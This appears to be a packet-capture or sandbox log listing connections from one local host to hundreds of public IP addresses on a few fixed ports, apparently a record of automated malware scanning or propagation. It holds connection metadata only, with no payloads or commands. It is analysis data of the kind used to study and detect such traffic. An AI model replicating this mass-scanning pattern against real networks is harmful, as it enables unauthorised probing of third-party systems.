Feb 12, 2023 21:24:32.569788933 CET	52981	37215	192.168.2.23	41.174.16.239
Feb 12, 2023 21:24:32.569806099 CET	52981	37215	192.168.2.23	76.26.94.88
Feb 12, 2023 21:24:32.569806099 CET	52981	37215	192.168.2.23	157.110.64.12
Feb 12, 2023 21:24:32.569809914 CET	52981	37215	192.168.2.23	197.192.95.105
Feb 12, 2023 21:24:32.569809914 CET	52981	37215	192.168.2.23	197.32.183.62
Feb 12, 2023 21:24:32.569809914 CET	52981	37215	192.168.2.23	218.215.117.199
Feb 12, 2023 21:24:32.569816113 CET	52981	37215	192.168.2.23	197.182.118.170
Feb 12, 2023 21:24:32.569824934 CET	52981	37215	192.168.2.23	157.118.49.23
Feb 12, 2023 21:24:32.569825888 CET	52981	37215	192.168.2.23	104.252.185.11
Feb 12, 2023 21:24:32.569870949 CET	52981	37215	192.168.2.23	133.2.133.10
Feb 12, 2023 21:24:32.569869995 CET	52981	37215	192.168.2.23	41.157.250.229
Feb 12, 2023 21:24:32.569889069 CET	52981	37215	192.168.2.23	197.76.225.13
Feb 12, 2023 21:24:32.569890022 CET	52981	37215	192.168.2.23	197.22.204.134
Feb 12, 2023 21:24:32.569889069 CET	52981	37215	192.168.2.23	41.207.208.36
Feb 12, 2023 21:24:32.569889069 CET	52981	37215	192.168.2.23	41.34.176.198
Feb 12, 2023 21:24:32.569900036 CET	52981	37215	192.168.2.23	128.198.192.241
Feb 12, 2023 21:24:32.569905043 CET	52981	37215	192.168.2.23	157.176.212.47
Feb 12, 2023 21:24:32.569906950 CET	52981	37215	192.168.2.23	157.52.43.183
Feb 12, 2023 21:24:32.569917917 CET	52981	37215	192.168.2.23	74.18.226.18
Feb 12, 2023 21:24:32.569919109 CET	52981	37215	192.168.2.23	197.212.99.70
Feb 12, 2023 21:24:32.569926023 CET	52981	37215	192.168.2.23	157.83.126.113
Feb 12, 2023 21:24:32.569962025 CET	52981	37215	192.168.2.23	41.119.245.104
Feb 12, 2023 21:24:32.569962025 CET	52981	37215	192.168.2.23	157.172.131.74
Feb 12, 2023 21:24:32.570009947 CET	52981	37215	192.168.2.23	197.178.101.176
Feb 12, 2023 21:24:32.570009947 CET	52981	37215	192.168.2.23	197.247.185.204
Feb 12, 2023 21:24:32.570009947 CET	52981	37215	192.168.2.23	157.43.243.113
Feb 12, 2023 21:24:32.570019007 CET	52981	37215	192.168.2.23	157.136.102.50
Feb 12, 2023 21:24:32.570027113 CET	52981	37215	192.168.2.23	153.117.156.1
Feb 12, 2023 21:24:32.570059061 CET	52981	37215	192.168.2.23	157.19.98.218
Feb 12, 2023 21:24:32.570064068 CET	52981	37215	192.168.2.23	142.84.51.113
Feb 12, 2023 21:24:32.570064068 CET	52981	37215	192.168.2.23	157.103.200.187
Feb 12, 2023 21:24:32.570082903 CET	52981	37215	192.168.2.23	157.32.216.252
Feb 12, 2023 21:24:32.570092916 CET	52981	37215	192.168.2.23	41.84.45.215
Feb 12, 2023 21:24:32.570096016 CET	52981	37215	192.168.2.23	72.118.236.217
Feb 12, 2023 21:24:32.570116997 CET	52981	37215	192.168.2.23	157.151.224.67
Feb 12, 2023 21:24:32.570127010 CET	52981	37215	192.168.2.23	41.32.186.122
Feb 12, 2023 21:24:32.570127010 CET	52981	37215	192.168.2.23	197.58.63.163
Feb 12, 2023 21:24:32.570146084 CET	52981	37215	192.168.2.23	41.214.1.49
Feb 12, 2023 21:24:32.570146084 CET	52981	37215	192.168.2.23	157.121.9.124
Feb 12, 2023 21:24:32.570173979 CET	52981	37215	192.168.2.23	197.68.196.204
Feb 12, 2023 21:24:32.570208073 CET	52981	37215	192.168.2.23	83.204.107.47
Feb 12, 2023 21:24:32.570209026 CET	52981	37215	192.168.2.23	197.215.14.132
Feb 12, 2023 21:24:32.570209026 CET	52981	37215	192.168.2.23	197.132.39.181
Feb 12, 2023 21:24:32.570209026 CET	52981	37215	192.168.2.23	157.229.34.124
Feb 12, 2023 21:24:32.570219040 CET	52981	37215	192.168.2.23	212.166.127.219
Feb 12, 2023 21:24:32.570219040 CET	52981	37215	192.168.2.23	197.127.56.201
Feb 12, 2023 21:24:32.570229053 CET	52981	37215	192.168.2.23	166.133.193.21
Feb 12, 2023 21:24:32.570229053 CET	52981	37215	192.168.2.23	197.48.136.43
Feb 12, 2023 21:24:32.570255995 CET	52981	37215	192.168.2.23	194.224.21.121
Feb 12, 2023 21:24:32.570262909 CET	52981	37215	192.168.2.23	197.133.238.171
Feb 12, 2023 21:24:32.570264101 CET	52981	37215	192.168.2.23	185.102.215.29
Feb 12, 2023 21:24:32.570264101 CET	52981	37215	192.168.2.23	157.249.78.93
Feb 12, 2023 21:24:32.570266962 CET	52981	37215	192.168.2.23	197.187.220.85
Feb 12, 2023 21:24:32.570286036 CET	52981	37215	192.168.2.23	41.28.238.171
Feb 12, 2023 21:24:32.570286036 CET	52981	37215	192.168.2.23	48.230.7.255
Feb 12, 2023 21:24:32.570306063 CET	52981	37215	192.168.2.23	157.24.236.24
Feb 12, 2023 21:24:32.570306063 CET	52981	37215	192.168.2.23	157.67.139.170
Feb 12, 2023 21:24:32.570333004 CET	52981	37215	192.168.2.23	118.17.121.8
Feb 12, 2023 21:24:32.570333004 CET	52981	37215	192.168.2.23	41.156.208.111
Feb 12, 2023 21:24:32.570333004 CET	52981	37215	192.168.2.23	157.218.33.104
Feb 12, 2023 21:24:32.570333004 CET	52981	37215	192.168.2.23	197.21.226.73
Feb 12, 2023 21:24:32.570353031 CET	52981	37215	192.168.2.23	53.170.94.194
Feb 12, 2023 21:24:32.570353031 CET	52981	37215	192.168.2.23	41.29.41.81
Feb 12, 2023 21:24:32.570374012 CET	52981	37215	192.168.2.23	191.103.203.156
Feb 12, 2023 21:24:32.570384026 CET	52981	37215	192.168.2.23	41.117.151.150
Feb 12, 2023 21:24:32.570385933 CET	52981	37215	192.168.2.23	41.106.196.215
Feb 12, 2023 21:24:32.570399046 CET	52981	37215	192.168.2.23	157.92.102.57
Feb 12, 2023 21:24:32.570410967 CET	52981	37215	192.168.2.23	36.152.42.174
Feb 12, 2023 21:24:32.570425034 CET	52981	37215	192.168.2.23	157.11.192.247
Feb 12, 2023 21:24:32.570449114 CET	52981	37215	192.168.2.23	197.18.149.225
Feb 12, 2023 21:24:32.570461035 CET	52981	37215	192.168.2.23	157.159.246.58
Feb 12, 2023 21:24:32.570461988 CET	52981	37215	192.168.2.23	186.78.189.14
Feb 12, 2023 21:24:32.570462942 CET	52981	37215	192.168.2.23	197.164.137.78
Feb 12, 2023 21:24:32.570477962 CET	52981	37215	192.168.2.23	197.0.208.217
Feb 12, 2023 21:24:32.570477962 CET	52981	37215	192.168.2.23	157.61.214.231
Feb 12, 2023 21:24:32.570524931 CET	52981	37215	192.168.2.23	41.67.162.15
Feb 12, 2023 21:24:32.570533991 CET	52981	37215	192.168.2.23	131.149.115.16
Feb 12, 2023 21:24:32.570543051 CET	52981	37215	192.168.2.23	41.143.178.56
Feb 12, 2023 21:24:32.570557117 CET	52981	37215	192.168.2.23	41.41.72.111
Feb 12, 2023 21:24:32.570564985 CET	52981	37215	192.168.2.23	73.228.246.183
Feb 12, 2023 21:24:32.570564985 CET	52981	37215	192.168.2.23	41.232.152.124
Feb 12, 2023 21:24:32.570579052 CET	52981	37215	192.168.2.23	12.26.243.102
Feb 12, 2023 21:24:32.570585012 CET	52981	37215	192.168.2.23	41.246.129.76
Feb 12, 2023 21:24:32.570595026 CET	52981	37215	192.168.2.23	157.220.254.27
Feb 12, 2023 21:24:32.570595980 CET	52981	37215	192.168.2.23	157.74.151.57
Feb 12, 2023 21:24:32.570596933 CET	52981	37215	192.168.2.23	197.185.158.137
Feb 12, 2023 21:24:32.570596933 CET	52981	37215	192.168.2.23	197.193.106.107
Feb 12, 2023 21:24:32.570596933 CET	52981	37215	192.168.2.23	13.91.192.24
Feb 12, 2023 21:24:32.570625067 CET	52981	37215	192.168.2.23	157.114.8.195
Feb 12, 2023 21:24:32.570625067 CET	52981	37215	192.168.2.23	157.97.131.16
Feb 12, 2023 21:24:32.570693970 CET	52981	37215	192.168.2.23	197.54.21.97
Feb 12, 2023 21:24:32.570693970 CET	52981	37215	192.168.2.23	41.69.229.43
Feb 12, 2023 21:24:32.570715904 CET	52981	37215	192.168.2.23	45.210.90.207
Feb 12, 2023 21:24:32.570715904 CET	52981	37215	192.168.2.23	41.58.4.42
Feb 12, 2023 21:24:32.570722103 CET	52981	37215	192.168.2.23	157.43.219.168
Feb 12, 2023 21:24:32.570764065 CET	52981	37215	192.168.2.23	157.204.183.16
Feb 12, 2023 21:24:32.570765972 CET	52981	37215	192.168.2.23	44.84.226.152
Feb 12, 2023 21:24:32.570782900 CET	52981	37215	192.168.2.23	197.1.125.30
Feb 12, 2023 21:24:32.570789099 CET	52981	37215	192.168.2.23	182.188.197.8
Feb 12, 2023 21:24:32.570795059 CET	52981	37215	192.168.2.23	157.179.34.133
Feb 12, 2023 21:24:32.570807934 CET	52981	37215	192.168.2.23	197.107.151.250
Feb 12, 2023 21:24:32.570807934 CET	52981	37215	192.168.2.23	70.30.249.165
Feb 12, 2023 21:24:32.570827007 CET	52981	37215	192.168.2.23	41.191.172.231
Feb 12, 2023 21:24:32.570827007 CET	52981	37215	192.168.2.23	157.33.213.182
Feb 12, 2023 21:24:32.570827007 CET	52981	37215	192.168.2.23	41.97.146.232
Feb 12, 2023 21:24:32.570827007 CET	52981	37215	192.168.2.23	88.227.6.160
Feb 12, 2023 21:24:32.570832014 CET	52981	37215	192.168.2.23	197.89.139.219
Feb 12, 2023 21:24:32.570848942 CET	52981	37215	192.168.2.23	41.86.188.209
Feb 12, 2023 21:24:32.570862055 CET	52981	37215	192.168.2.23	41.10.51.20
Feb 12, 2023 21:24:32.570879936 CET	52981	37215	192.168.2.23	41.28.176.117
Feb 12, 2023 21:24:32.570879936 CET	52981	37215	192.168.2.23	157.113.77.65
Feb 12, 2023 21:24:32.570884943 CET	52981	37215	192.168.2.23	157.72.129.133
Feb 12, 2023 21:24:32.570884943 CET	52981	37215	192.168.2.23	157.200.137.74
Feb 12, 2023 21:24:32.570907116 CET	52981	37215	192.168.2.23	41.96.83.15
Feb 12, 2023 21:24:32.570920944 CET	52981	37215	192.168.2.23	157.163.75.41
Feb 12, 2023 21:24:32.570920944 CET	52981	37215	192.168.2.23	197.63.15.124
Feb 12, 2023 21:24:32.570929050 CET	52981	37215	192.168.2.23	197.141.237.18
Feb 12, 2023 21:24:32.570939064 CET	52981	37215	192.168.2.23	41.119.56.47
Feb 12, 2023 21:24:32.570941925 CET	52981	37215	192.168.2.23	157.176.159.84
Feb 12, 2023 21:24:32.570956945 CET	52981	37215	192.168.2.23	197.155.202.64
Feb 12, 2023 21:24:32.570986032 CET	52981	37215	192.168.2.23	117.229.236.17
Feb 12, 2023 21:24:32.570986032 CET	52981	37215	192.168.2.23	157.245.131.159
Feb 12, 2023 21:24:32.570987940 CET	52981	37215	192.168.2.23	41.182.5.162
Feb 12, 2023 21:24:32.570986032 CET	52981	37215	192.168.2.23	41.216.215.241
Feb 12, 2023 21:24:32.570993900 CET	52981	37215	192.168.2.23	41.116.92.105
Feb 12, 2023 21:24:32.571007013 CET	52981	37215	192.168.2.23	157.69.56.79
Feb 12, 2023 21:24:32.571027040 CET	52981	37215	192.168.2.23	157.188.50.52
Feb 12, 2023 21:24:32.571038008 CET	52981	37215	192.168.2.23	197.100.191.157
Feb 12, 2023 21:24:32.571044922 CET	52981	37215	192.168.2.23	197.189.144.64
Feb 12, 2023 21:24:32.571082115 CET	52981	37215	192.168.2.23	41.61.113.244
Feb 12, 2023 21:24:32.571083069 CET	52981	37215	192.168.2.23	157.81.189.45
Feb 12, 2023 21:24:32.571086884 CET	52981	37215	192.168.2.23	197.192.107.204
Feb 12, 2023 21:24:32.571105957 CET	52981	37215	192.168.2.23	157.184.216.244
Feb 12, 2023 21:24:32.571105957 CET	52981	37215	192.168.2.23	197.242.93.151
Feb 12, 2023 21:24:32.571126938 CET	52981	37215	192.168.2.23	197.143.185.253
Feb 12, 2023 21:24:32.571182013 CET	52981	37215	192.168.2.23	157.203.220.70
Feb 12, 2023 21:24:32.571194887 CET	52981	37215	192.168.2.23	191.104.237.40
Feb 12, 2023 21:24:32.571196079 CET	52981	37215	192.168.2.23	41.251.113.48
Feb 12, 2023 21:24:32.571207047 CET	52981	37215	192.168.2.23	41.239.111.76
Feb 12, 2023 21:24:32.571209908 CET	52981	37215	192.168.2.23	41.142.64.21
Feb 12, 2023 21:24:32.571228027 CET	52981	37215	192.168.2.23	197.172.38.132
Feb 12, 2023 21:24:32.571229935 CET	52981	37215	192.168.2.23	157.54.28.240
Feb 12, 2023 21:24:32.571228027 CET	52981	37215	192.168.2.23	102.213.178.37
Feb 12, 2023 21:24:32.571245909 CET	52981	37215	192.168.2.23	157.84.94.160
Feb 12, 2023 21:24:32.571257114 CET	52981	37215	192.168.2.23	41.31.120.108
Feb 12, 2023 21:24:32.571228027 CET	52981	37215	192.168.2.23	197.53.61.16
Feb 12, 2023 21:24:32.571286917 CET	52981	37215	192.168.2.23	157.155.145.133
Feb 12, 2023 21:24:32.571286917 CET	52981	37215	192.168.2.23	197.41.74.142
Feb 12, 2023 21:24:32.571842909 CET	52981	37215	192.168.2.23	41.17.61.58
Feb 12, 2023 21:24:32.580449104 CET	40798	52869	192.168.2.23	57.56.46.49
Feb 12, 2023 21:24:32.583940983 CET	22272	5555	192.168.2.23	189.4.196.201
Feb 12, 2023 21:24:32.583956957 CET	22272	5555	192.168.2.23	187.118.40.166
Feb 12, 2023 21:24:32.583971024 CET	22272	5555	192.168.2.23	79.178.217.189
Feb 12, 2023 21:24:32.583988905 CET	22272	5555	192.168.2.23	203.178.91.119
Feb 12, 2023 21:24:32.583988905 CET	22272	5555	192.168.2.23	172.184.47.255
Feb 12, 2023 21:24:32.583992958 CET	22272	5555	192.168.2.23	146.114.121.219
Feb 12, 2023 21:24:32.584003925 CET	22272	5555	192.168.2.23	187.104.78.197
Feb 12, 2023 21:24:32.584039927 CET	22272	5555	192.168.2.23	108.4.118.61
Feb 12, 2023 21:24:32.584039927 CET	22272	5555	192.168.2.23	43.70.159.104
Feb 12, 2023 21:24:32.584043026 CET	22272	5555	192.168.2.23	221.131.233.8
Feb 12, 2023 21:24:32.584043980 CET	22272	5555	192.168.2.23	68.94.244.154
Feb 12, 2023 21:24:32.584047079 CET	22272	5555	192.168.2.23	96.12.214.86
Feb 12, 2023 21:24:32.584076881 CET	22272	5555	192.168.2.23	94.179.111.0
Feb 12, 2023 21:24:32.584095001 CET	22272	5555	192.168.2.23	37.36.103.175
Feb 12, 2023 21:24:32.584131002 CET	22272	5555	192.168.2.23	90.80.63.216
Feb 12, 2023 21:24:32.584131002 CET	22272	5555	192.168.2.23	130.146.179.100
Feb 12, 2023 21:24:32.584146023 CET	22272	5555	192.168.2.23	157.45.196.120
Feb 12, 2023 21:24:32.584151983 CET	22272	5555	192.168.2.23	174.193.97.92
Feb 12, 2023 21:24:32.584156990 CET	22272	5555	192.168.2.23	185.5.29.107
Feb 12, 2023 21:24:32.584156990 CET	22272	5555	192.168.2.23	32.18.236.193
Feb 12, 2023 21:24:32.584156990 CET	22272	5555	192.168.2.23	139.142.108.41
Feb 12, 2023 21:24:32.584162951 CET	22272	5555	192.168.2.23	137.197.131.55
Feb 12, 2023 21:24:32.584192991 CET	22272	5555	192.168.2.23	104.191.100.89
Feb 12, 2023 21:24:32.584192991 CET	22272	5555	192.168.2.23	74.81.147.170
Feb 12, 2023 21:24:32.584196091 CET	22272	5555	192.168.2.23	188.24.153.227
Feb 12, 2023 21:24:32.584198952 CET	22272	5555	192.168.2.23	173.193.165.255
Feb 12, 2023 21:24:32.584201097 CET	22272	5555	192.168.2.23	209.170.207.28
Feb 12, 2023 21:24:32.584252119 CET	22272	5555	192.168.2.23	216.72.77.58
Feb 12, 2023 21:24:32.584273100 CET	22272	5555	192.168.2.23	104.248.116.66
Feb 12, 2023 21:24:32.584283113 CET	22272	5555	192.168.2.23	104.241.159.216
Feb 12, 2023 21:24:32.584286928 CET	22272	5555	192.168.2.23	183.2.215.151
Feb 12, 2023 21:24:32.584286928 CET	22272	5555	192.168.2.23	156.102.38.150
Feb 12, 2023 21:24:32.584335089 CET	22272	5555	192.168.2.23	209.73.121.235
Feb 12, 2023 21:24:32.584335089 CET	22272	5555	192.168.2.23	5.240.194.21
Feb 12, 2023 21:24:32.584337950 CET	22272	5555	192.168.2.23	156.151.56.12
Feb 12, 2023 21:24:32.584378958 CET	22272	5555	192.168.2.23	186.37.90.206
Feb 12, 2023 21:24:32.584381104 CET	22272	5555	192.168.2.23	181.141.111.81
Feb 12, 2023 21:24:32.584420919 CET	22272	5555	192.168.2.23	223.69.40.103
Feb 12, 2023 21:24:32.584420919 CET	22272	5555	192.168.2.23	174.164.165.176
Feb 12, 2023 21:24:32.584420919 CET	22272	5555	192.168.2.23	126.203.45.240
Feb 12, 2023 21:24:32.584530115 CET	22272	5555	192.168.2.23	62.183.60.154
Feb 12, 2023 21:24:32.584530115 CET	22272	5555	192.168.2.23	79.61.82.200
Feb 12, 2023 21:24:32.584849119 CET	22272	5555	192.168.2.23	20.80.83.94
Feb 12, 2023 21:24:32.584867954 CET	22272	5555	192.168.2.23	116.142.203.214
Feb 12, 2023 21:24:32.584877014 CET	22272	5555	192.168.2.23	128.2.75.68
Feb 12, 2023 21:24:32.584903002 CET	22272	5555	192.168.2.23	188.192.232.67
Feb 12, 2023 21:24:32.584922075 CET	22272	5555	192.168.2.23	139.43.242.161
Feb 12, 2023 21:24:32.584940910 CET	22272	5555	192.168.2.23	218.28.143.199
Feb 12, 2023 21:24:32.584964037 CET	22272	5555	192.168.2.23	59.197.251.74
Feb 12, 2023 21:24:32.584969997 CET	22272	5555	192.168.2.23	76.169.184.93
Feb 12, 2023 21:24:32.584975004 CET	22272	5555	192.168.2.23	119.202.231.192
Feb 12, 2023 21:24:32.584989071 CET	22272	5555	192.168.2.23	38.49.160.202
Feb 12, 2023 21:24:32.584995031 CET	22272	5555	192.168.2.23	47.40.186.108
Feb 12, 2023 21:24:32.585001945 CET	22272	5555	192.168.2.23	177.66.109.12
Feb 12, 2023 21:24:32.585007906 CET	22272	5555	192.168.2.23	189.178.36.98
Feb 12, 2023 21:24:32.585022926 CET	22272	5555	192.168.2.23	94.236.97.141
Feb 12, 2023 21:24:32.585028887 CET	22272	5555	192.168.2.23	205.150.141.146
Feb 12, 2023 21:24:32.585028887 CET	22272	5555	192.168.2.23	170.40.215.62
Feb 12, 2023 21:24:32.585047007 CET	22272	5555	192.168.2.23	96.160.119.5
Feb 12, 2023 21:24:32.585122108 CET	22272	5555	192.168.2.23	141.198.56.213
Feb 12, 2023 21:24:32.585125923 CET	22272	5555	192.168.2.23	129.166.218.220
Feb 12, 2023 21:24:32.585138083 CET	22272	5555	192.168.2.23	31.209.87.140
Feb 12, 2023 21:24:32.585155964 CET	22272	5555	192.168.2.23	104.128.193.183
Feb 12, 2023 21:24:32.585175991 CET	22272	5555	192.168.2.23	140.51.104.100
Feb 12, 2023 21:24:32.585175991 CET	22272	5555	192.168.2.23	40.183.76.136
Feb 12, 2023 21:24:32.585175991 CET	22272	5555	192.168.2.23	150.238.79.42
Feb 12, 2023 21:24:32.585185051 CET	22272	5555	192.168.2.23	58.232.230.212
Feb 12, 2023 21:24:32.585185051 CET	22272	5555	192.168.2.23	86.223.131.25
Feb 12, 2023 21:24:32.585196972 CET	22272	5555	192.168.2.23	42.84.98.210
Feb 12, 2023 21:24:32.585211992 CET	22272	5555	192.168.2.23	79.215.181.255
Feb 12, 2023 21:24:32.585235119 CET	22272	5555	192.168.2.23	125.27.148.46
Feb 12, 2023 21:24:32.585239887 CET	22272	5555	192.168.2.23	86.200.105.240
Feb 12, 2023 21:24:32.585242987 CET	22272	5555	192.168.2.23	135.49.84.217
Feb 12, 2023 21:24:32.585272074 CET	22272	5555	192.168.2.23	205.89.77.169
Feb 12, 2023 21:24:32.585272074 CET	22272	5555	192.168.2.23	105.225.207.181
Feb 12, 2023 21:24:32.585293055 CET	22272	5555	192.168.2.23	82.203.7.123
Feb 12, 2023 21:24:32.585303068 CET	22272	5555	192.168.2.23	38.191.96.189
Feb 12, 2023 21:24:32.585325956 CET	22272	5555	192.168.2.23	146.135.51.226
Feb 12, 2023 21:24:32.585331917 CET	22272	5555	192.168.2.23	141.75.155.236
Feb 12, 2023 21:24:32.585334063 CET	22272	5555	192.168.2.23	134.72.49.42
Feb 12, 2023 21:24:32.585334063 CET	22272	5555	192.168.2.23	142.58.91.91
Feb 12, 2023 21:24:32.585346937 CET	22272	5555	192.168.2.23	47.48.177.174
Feb 12, 2023 21:24:32.585354090 CET	22272	5555	192.168.2.23	96.140.235.84
Feb 12, 2023 21:24:32.585354090 CET	22272	5555	192.168.2.23	109.70.193.189
Feb 12, 2023 21:24:32.585354090 CET	22272	5555	192.168.2.23	86.90.137.10
Feb 12, 2023 21:24:32.585359097 CET	22272	5555	192.168.2.23	20.14.228.94
Feb 12, 2023 21:24:32.585367918 CET	22272	5555	192.168.2.23	138.170.3.220
Feb 12, 2023 21:24:32.585395098 CET	22272	5555	192.168.2.23	148.152.250.85
Feb 12, 2023 21:24:32.585398912 CET	22272	5555	192.168.2.23	50.206.82.193
Feb 12, 2023 21:24:32.585412979 CET	22272	5555	192.168.2.23	108.0.81.63
Feb 12, 2023 21:24:32.585427999 CET	22272	5555	192.168.2.23	125.56.174.166
Feb 12, 2023 21:24:32.585444927 CET	22272	5555	192.168.2.23	95.84.99.202
Feb 12, 2023 21:24:32.585453033 CET	22272	5555	192.168.2.23	49.71.46.158
Feb 12, 2023 21:24:32.585489988 CET	22272	5555	192.168.2.23	123.55.232.110
Feb 12, 2023 21:24:32.585489988 CET	22272	5555	192.168.2.23	74.33.153.84
Feb 12, 2023 21:24:32.585489988 CET	22272	5555	192.168.2.23	106.201.239.114
Feb 12, 2023 21:24:32.585493088 CET	22272	5555	192.168.2.23	119.90.104.43
Feb 12, 2023 21:24:32.585493088 CET	22272	5555	192.168.2.23	189.25.181.68
Feb 12, 2023 21:24:32.585506916 CET	22272	5555	192.168.2.23	115.36.234.19
Feb 12, 2023 21:24:32.585537910 CET	22272	5555	192.168.2.23	53.129.34.232
Feb 12, 2023 21:24:32.585570097 CET	22272	5555	192.168.2.23	54.150.236.176
Feb 12, 2023 21:24:32.585586071 CET	22272	5555	192.168.2.23	59.62.55.165
Feb 12, 2023 21:24:32.585586071 CET	22272	5555	192.168.2.23	48.171.165.237
Feb 12, 2023 21:24:32.585586071 CET	22272	5555	192.168.2.23	122.206.21.125
Feb 12, 2023 21:24:32.585606098 CET	22272	5555	192.168.2.23	1.192.126.244
Feb 12, 2023 21:24:32.585606098 CET	22272	5555	192.168.2.23	64.170.32.111
Feb 12, 2023 21:24:32.585642099 CET	22272	5555	192.168.2.23	98.96.204.73
Feb 12, 2023 21:24:32.585642099 CET	22272	5555	192.168.2.23	174.143.227.221
Feb 12, 2023 21:24:32.585663080 CET	22272	5555	192.168.2.23	41.14.207.10
Feb 12, 2023 21:24:32.585695028 CET	22272	5555	192.168.2.23	113.40.164.218
Feb 12, 2023 21:24:32.585705996 CET	22272	5555	192.168.2.23	102.9.161.170
Feb 12, 2023 21:24:32.585716009 CET	22272	5555	192.168.2.23	74.57.87.44
Feb 12, 2023 21:24:32.585738897 CET	22272	5555	192.168.2.23	128.181.123.212
Feb 12, 2023 21:24:32.585738897 CET	22272	5555	192.168.2.23	68.89.121.60
Feb 12, 2023 21:24:32.585738897 CET	22272	5555	192.168.2.23	197.55.96.198
Feb 12, 2023 21:24:32.585757971 CET	22272	5555	192.168.2.23	115.8.66.43
Feb 12, 2023 21:24:32.585757971 CET	22272	5555	192.168.2.23	121.14.2.58
Feb 12, 2023 21:24:32.585820913 CET	22272	5555	192.168.2.23	211.166.35.162
Feb 12, 2023 21:24:32.585844994 CET	22272	5555	192.168.2.23	70.75.166.169
Feb 12, 2023 21:24:32.585851908 CET	22272	5555	192.168.2.23	180.63.179.113
Feb 12, 2023 21:24:32.585851908 CET	22272	5555	192.168.2.23	74.50.35.51
Feb 12, 2023 21:24:32.585851908 CET	22272	5555	192.168.2.23	165.207.181.35
Feb 12, 2023 21:24:32.585886955 CET	22272	5555	192.168.2.23	201.216.47.12
Feb 12, 2023 21:24:32.585891962 CET	22272	5555	192.168.2.23	47.221.234.84
Feb 12, 2023 21:24:32.585894108 CET	22272	5555	192.168.2.23	161.142.40.25
Feb 12, 2023 21:24:32.585894108 CET	22272	5555	192.168.2.23	152.70.242.136
Feb 12, 2023 21:24:32.585918903 CET	22272	5555	192.168.2.23	81.124.228.49
Feb 12, 2023 21:24:32.585918903 CET	22272	5555	192.168.2.23	120.219.58.152
Feb 12, 2023 21:24:32.585937023 CET	22272	5555	192.168.2.23	45.157.129.247
Feb 12, 2023 21:24:32.585942030 CET	22272	5555	192.168.2.23	156.85.97.66
Feb 12, 2023 21:24:32.585948944 CET	22272	5555	192.168.2.23	146.116.66.201
Feb 12, 2023 21:24:32.586009026 CET	22272	5555	192.168.2.23	152.244.48.37
Feb 12, 2023 21:24:32.586019039 CET	22272	5555	192.168.2.23	124.139.126.70
Feb 12, 2023 21:24:32.586019039 CET	22272	5555	192.168.2.23	108.164.207.214
Feb 12, 2023 21:24:32.586049080 CET	22272	5555	192.168.2.23	146.93.237.183
Feb 12, 2023 21:24:32.586064100 CET	22272	5555	192.168.2.23	213.104.102.191
Feb 12, 2023 21:24:32.586072922 CET	22272	5555	192.168.2.23	117.243.212.160
Feb 12, 2023 21:24:32.586097002 CET	22272	5555	192.168.2.23	97.39.88.50
Feb 12, 2023 21:24:32.586097002 CET	22272	5555	192.168.2.23	74.143.51.217
Feb 12, 2023 21:24:32.586102962 CET	22272	5555	192.168.2.23	83.110.89.226
Feb 12, 2023 21:24:32.586122990 CET	22272	5555	192.168.2.23	123.130.185.253
Feb 12, 2023 21:24:32.586124897 CET	22272	5555	192.168.2.23	170.237.89.196
Feb 12, 2023 21:24:32.586138010 CET	22272	5555	192.168.2.23	156.183.28.74
Feb 12, 2023 21:24:32.586144924 CET	22272	5555	192.168.2.23	25.80.243.26
Feb 12, 2023 21:24:32.586191893 CET	22272	5555	192.168.2.23	132.98.29.164
Feb 12, 2023 21:24:32.586191893 CET	22272	5555	192.168.2.23	68.3.103.187
Feb 12, 2023 21:24:32.586214066 CET	22272	5555	192.168.2.23	76.162.61.156
Feb 12, 2023 21:24:32.586224079 CET	22272	5555	192.168.2.23	116.196.91.225
Feb 12, 2023 21:24:32.586241961 CET	22272	5555	192.168.2.23	190.200.72.76
Feb 12, 2023 21:24:32.586241961 CET	22272	5555	192.168.2.23	73.115.56.144
Feb 12, 2023 21:24:32.586255074 CET	22272	5555	192.168.2.23	98.114.75.163
Feb 12, 2023 21:24:32.586258888 CET	22272	5555	192.168.2.23	149.90.30.37
Feb 12, 2023 21:24:32.586288929 CET	22272	5555	192.168.2.23	96.249.34.34
Feb 12, 2023 21:24:32.586337090 CET	22272	5555	192.168.2.23	209.201.102.0
Feb 12, 2023 21:24:32.586354971 CET	22272	5555	192.168.2.23	116.153.172.62
Feb 12, 2023 21:24:32.586360931 CET	22272	5555	192.168.2.23	137.15.23.97
Feb 12, 2023 21:24:32.586396933 CET	22272	5555	192.168.2.23	72.142.20.235
Feb 12, 2023 21:24:32.586396933 CET	22272	5555	192.168.2.23	14.107.93.164
Feb 12, 2023 21:24:32.586460114 CET	22272	5555	192.168.2.23	103.64.89.120
Feb 12, 2023 21:24:32.586460114 CET	22272	5555	192.168.2.23	49.91.177.253
Feb 12, 2023 21:24:32.593091965 CET	42182	52869	192.168.2.23	49.49.52.46
Feb 12, 2023 21:24:32.612098932 CET	41946	52869	192.168.2.23	49.48.53.46
Feb 12, 2023 21:24:32.620085955 CET	5555	22272	90.80.63.216	192.168.2.23
Feb 12, 2023 21:24:32.626324892 CET	39914	52869	192.168.2.23	50.50.56.46
Feb 12, 2023 21:24:32.632514954 CET	5555	22272	188.24.153.227	192.168.2.23
Feb 12, 2023 21:24:32.632781029 CET	37215	52981	88.227.6.160	192.168.2.23
Feb 12, 2023 21:24:32.650500059 CET	37322	52869	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:32.658226013 CET	37215	52981	197.1.125.30	192.168.2.23
Feb 12, 2023 21:24:32.660106897 CET	37215	52981	197.128.86.104	192.168.2.23
Feb 12, 2023 21:24:32.666342020 CET	47246	52869	192.168.2.23	49.51.56.46
Feb 12, 2023 21:24:32.686831951 CET	46702	52869	192.168.2.23	57.49.46.53
Feb 12, 2023 21:24:32.707237959 CET	50122	52869	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:32.737374067 CET	37215	52981	182.188.197.8	192.168.2.23
Feb 12, 2023 21:24:32.755423069 CET	37215	52981	197.232.30.116	192.168.2.23
Feb 12, 2023 21:24:32.758963108 CET	5555	22272	125.27.148.46	192.168.2.23
Feb 12, 2023 21:24:32.806103945 CET	37215	52981	197.212.99.70	192.168.2.23
Feb 12, 2023 21:24:32.820435047 CET	5555	22272	187.104.78.197	192.168.2.23
Feb 12, 2023 21:24:32.827439070 CET	37215	52981	222.114.255.69	192.168.2.23
Feb 12, 2023 21:24:32.873863935 CET	5555	22272	126.203.45.240	192.168.2.23
Feb 12, 2023 21:24:32.880466938 CET	54334	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:32.880469084 CET	54330	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:32.880485058 CET	55086	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:32.912487030 CET	54336	8080	192.168.2.23	49.56.55.46
